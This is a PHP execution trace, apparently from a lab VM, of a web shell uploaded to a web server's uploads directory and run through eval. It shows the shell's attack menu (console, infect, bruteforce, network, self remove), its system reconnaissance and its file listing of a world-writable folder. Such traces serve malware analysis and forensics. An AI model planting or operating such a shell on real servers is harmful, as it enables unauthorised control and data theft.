4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	214	$cwd_links .= '")\'>html/</a>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	210	$i++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	211	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j = 0
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= '/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	213	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	212	$j++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	214	$cwd_links .= '")\'>uploads/</a>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	210	$i++
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	216	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	217	$opt_charsets = ''
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	219	$opt_charsets .= '<option value="UTF-8" selected>UTF-8</option>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	219	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	219	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	219	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	219	$opt_charsets .= '<option value="cp866" >cp866</option>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	220	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network']
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	223	$m['Self remove'] = 'SelfRemove'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	224	$menu = ''
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Sec. Info'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Files'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Console'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Console</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Infect'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'Infect\',null,\'\',\'\',\'\')">Infect</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Sql'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Sql</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Php'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Php</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Safe mode'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Safe mode</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'String tools'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">String tools</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Bruteforce'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Bruteforce</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Network'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Network</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	225	$k = 'Self remove'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	226	$menu .= '<th>[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	227	$drives = ''
5	65	0	0.016065	1519288	php_uname	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	0
5	65	1	0.016078	1519400
5	65	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	66	0	0.016097	1519400	substr	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	66	1	0.016116	1519496
5	66	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	67	0	0.016134	1519416	php_uname	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	0
5	67	1	0.016148	1519528
5	67	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	68	0	0.016166	1519528	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	68	1	0.016184	1519688
5	68	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
5	69	0	0.016203	1519864	phpversion	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	0
5	69	1	0.016216	1519928
5	69	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	70	0	0.016233	1519992	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	1	'Y-m-d H:i:s'
5	70	1	0.016290	1522344
5	70	R			'2023-02-12 19:03:55'
5	71	0	0.016309	1522056	viewSize	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	1	232015802368
6	72	0	0.016324	1522056	sprintf	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	291	2	'%1.2f'	216.08155441284
6	72	1	0.016341	1522440
6	72	R			'216.08'
5	71	1	0.016355	1522096
5	71	R			'216.08 GB'
5	73	0	0.016369	1522056	viewSize	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	1	203522609152
6	74	0	0.016383	1522056	sprintf	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	291	2	'%1.2f'	189.5452003479
6	74	1	0.016398	1522440
6	74	R			'189.55'
5	73	1	0.016412	1522096
5	73	R			'189.55 GB'
5	75	0	0.016426	1522056	round	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	2	87.719287684204	2
5	75	1	0.016441	1522128
5	75	R			87.72
5	76	0	0.016456	1522440	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	235	1	'/var/www/html/uploads/'
6	77	0	0.016470	1522440	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/'
6	77	1	0.016490	1522480
6	77	R			TRUE
6	78	0	0.016503	1522440	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/'
6	78	1	0.016519	1522480
6	78	R			TRUE
6	79	0	0.016537	1522440	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	'/var/www/html/uploads/'
6	79	1	0.016554	1522504
6	79	R			16895
6	80	0	0.016567	1522464	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	16895
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	304	$i = 'd'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= 'x'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= 'w'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= 'x'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= 'w'
6		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= 'x'
6	80	1	0.016694	1522504
6	80	R			'drwxrwxrwx'
5	76	1	0.016708	1522544
5	76	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
5	81	0	0.016726	1522976	gethostbyname	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	236	1	'localhost'
5	81	1	0.016762	1523056
5	81	R			'127.0.0.1'
4	36	1	0.016780	1518192
4	82	0	0.016789	1518192	hardScandir	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	885	1	'/var/www/html/uploads/'
5	83	0	0.016804	1518192	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	328	1	'scandir'
5	83	1	0.016818	1518232
5	83	R			TRUE
5	84	0	0.016831	1518192	scandir	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	329	1	'/var/www/html/uploads/'
5	84	1	0.016861	1518816
5	84	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hahaha.php', 5 => 'prepend.php']
4	82	1	0.016885	1518784
4	82	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hahaha.php', 5 => 'prepend.php']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	885	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hahaha.php', 5 => 'prepend.php']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	888	$sort = [0 => 'name', 1 => 1]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	902	$files = []
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	902	$dirs = []
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	903	$n = 6
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i = 0
4	85	0	0.016994	1518808	fileowner	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	'.'
4	85	1	0.017011	1518832
4	85	R			0
4	86	0	0.017024	1518792	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	0
4	86	1	0.017050	1519592
4	86	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	87	0	0.017092	1519560	filegroup	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	'.'
4	87	1	0.017106	1519600
4	87	R			0
4	88	0	0.017119	1519560	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	0
4	88	1	0.017141	1520216
4	88	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	89	0	0.017178	1520656	filemtime	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	1	'/var/www/html/uploads/.'
4	89	1	0.017194	1520712
4	89	R			1676246635
4	90	0	0.017208	1520624	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	2	'Y-m-d H:i:s'	1676246635
4	90	1	0.017241	1520952
4	90	R			'2023-02-12 19:03:55'
4	91	0	0.017255	1520928	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	910	1	'/var/www/html/uploads/.'
5	92	0	0.017270	1520928	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/.'
5	92	1	0.017287	1520968
5	92	R			TRUE
5	93	0	0.017300	1520928	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/.'
5	93	1	0.017320	1520968
5	93	R			TRUE
5	94	0	0.017333	1520928	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	'/var/www/html/uploads/.'
5	94	1	0.017347	1520968
5	94	R			16895
5	95	0	0.017360	1520928	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	16895
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	304	$i = 'd'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= 'x'
5	95	1	0.017476	1520968
5	95	R			'drwxrwxrwx'
4	91	1	0.017491	1521008
4	91	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
4	96	0	0.017508	1521008	filesize	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	911	1	'/var/www/html/uploads/.'
4	96	1	0.017522	1521048
4	96	R			4096
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	913	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	97	0	0.017559	1521008	is_file	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	915	1	'/var/www/html/uploads/.'
4	97	1	0.017573	1521048
4	97	R			FALSE
4	98	0	0.017586	1521008	is_link	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	917	1	'/var/www/html/uploads/.'
4	98	1	0.017601	1521072
4	98	R			FALSE
4	99	0	0.017614	1521032	is_dir	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	919	1	'/var/www/html/uploads/.'
4	99	1	0.017629	1521072
4	99	R			TRUE
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i++
4	100	0	0.017653	1520984	fileowner	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	'..'
4	100	1	0.017668	1521008
4	100	R			0
4	101	0	0.017681	1520968	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	0
4	101	1	0.017705	1521768
4	101	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	102	0	0.017747	1521000	filegroup	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	'..'
4	102	1	0.017761	1521040
4	102	R			0
4	103	0	0.017774	1521000	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	0
4	103	1	0.017796	1521656
4	103	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	0	0.017833	1521520	filemtime	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	1	'/var/www/html/uploads/..'
4	104	1	0.017850	1521584
4	104	R			1676246635
4	105	0	0.017863	1521488	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	2	'Y-m-d H:i:s'	1676246635
4	105	1	0.017894	1521816
4	105	R			'2023-02-12 19:03:55'
4	106	0	0.017909	1521800	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	910	1	'/var/www/html/uploads/..'
5	107	0	0.017923	1521800	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/..'
5	107	1	0.017939	1521840
5	107	R			TRUE
5	108	0	0.017953	1521800	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/..'
5	108	1	0.017968	1521840
5	108	R			TRUE
5	109	0	0.017982	1521800	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	'/var/www/html/uploads/..'
5	109	1	0.017996	1521840
5	109	R			16895
5	110	0	0.018009	1521800	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	16895
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	304	$i = 'd'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= 'x'
5	110	1	0.018130	1521840
5	110	R			'drwxrwxrwx'
4	106	1	0.018145	1521880
4	106	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
4	111	0	0.018162	1521880	filesize	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	911	1	'/var/www/html/uploads/..'
4	111	1	0.018177	1521920
4	111	R			4096
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	913	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	112	0	0.018213	1521056	is_file	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	915	1	'/var/www/html/uploads/..'
4	112	1	0.018228	1521096
4	112	R			FALSE
4	113	0	0.018241	1521056	is_link	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	917	1	'/var/www/html/uploads/..'
4	113	1	0.018258	1521104
4	113	R			FALSE
4	114	0	0.018271	1521064	is_dir	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	919	1	'/var/www/html/uploads/..'
4	114	1	0.018285	1521104
4	114	R			TRUE
4	115	0	0.018298	1521008	array_merge	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	920	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	115	1	0.018323	1521448
4	115	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	920	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i++
4	116	0	0.018383	1521760	fileowner	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	'.htaccess'
4	116	1	0.018399	1521784
4	116	R			0
4	117	0	0.018412	1521744	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	0
4	117	1	0.018436	1522544
4	117	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	118	0	0.018478	1521776	filegroup	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	'.htaccess'
4	118	1	0.018492	1521816
4	118	R			0
4	119	0	0.018504	1521776	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	0
4	119	1	0.018527	1522432
4	119	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	120	0	0.018563	1522296	filemtime	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	1	'/var/www/html/uploads/.htaccess'
4	120	1	0.018580	1522352
4	120	R			1676246635
4	121	0	0.018593	1522256	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	2	'Y-m-d H:i:s'	1676246635
4	121	1	0.018625	1522584
4	121	R			'2023-02-12 19:03:55'
4	122	0	0.018639	1522568	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	910	1	'/var/www/html/uploads/.htaccess'
5	123	0	0.018654	1522568	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/.htaccess'
5	123	1	0.018670	1522608
5	123	R			TRUE
5	124	0	0.018683	1522568	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/.htaccess'
5	124	1	0.018702	1522608
5	124	R			FALSE
5	125	0	0.018716	1522568	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	323	1	'/var/www/html/uploads/.htaccess'
5	125	1	0.018730	1522608
5	125	R			33188
5	126	0	0.018743	1522568	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	323	1	33188
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	302	$i = '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= '-'
5	126	1	0.018859	1522608
5	126	R			'-rw-r--r--'
4	122	1	0.018873	1522648
4	122	R			'<font color=white><b>-rw-r--r--</b></font>'
4	127	0	0.018890	1522648	filesize	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	911	1	'/var/www/html/uploads/.htaccess'
4	127	1	0.018904	1522688
4	127	R			64
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	913	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4	128	0	0.018940	1522272	is_file	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	915	1	'/var/www/html/uploads/.htaccess'
4	128	1	0.018954	1522312
4	128	R			TRUE
4	129	0	0.018968	1522216	array_merge	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	916	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	129	1	0.018992	1522656
4	129	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	916	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i++
4	130	0	0.019050	1522968	fileowner	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	'data'
4	130	1	0.019067	1522984
4	130	R			0
4	131	0	0.019079	1522944	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	0
4	131	1	0.019103	1523744
4	131	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	132	0	0.019145	1522976	filegroup	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	'data'
4	132	1	0.019159	1523016
4	132	R			0
4	133	0	0.019172	1522976	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	0
4	133	1	0.019194	1523632
4	133	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	134	0	0.019230	1523496	filemtime	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	1	'/var/www/html/uploads/data'
4	134	1	0.019246	1523560
4	134	R			1676246635
4	135	0	0.019260	1523464	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	2	'Y-m-d H:i:s'	1676246635
4	135	1	0.019291	1523792
4	135	R			'2023-02-12 19:03:55'
4	136	0	0.019306	1523776	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	910	1	'/var/www/html/uploads/data'
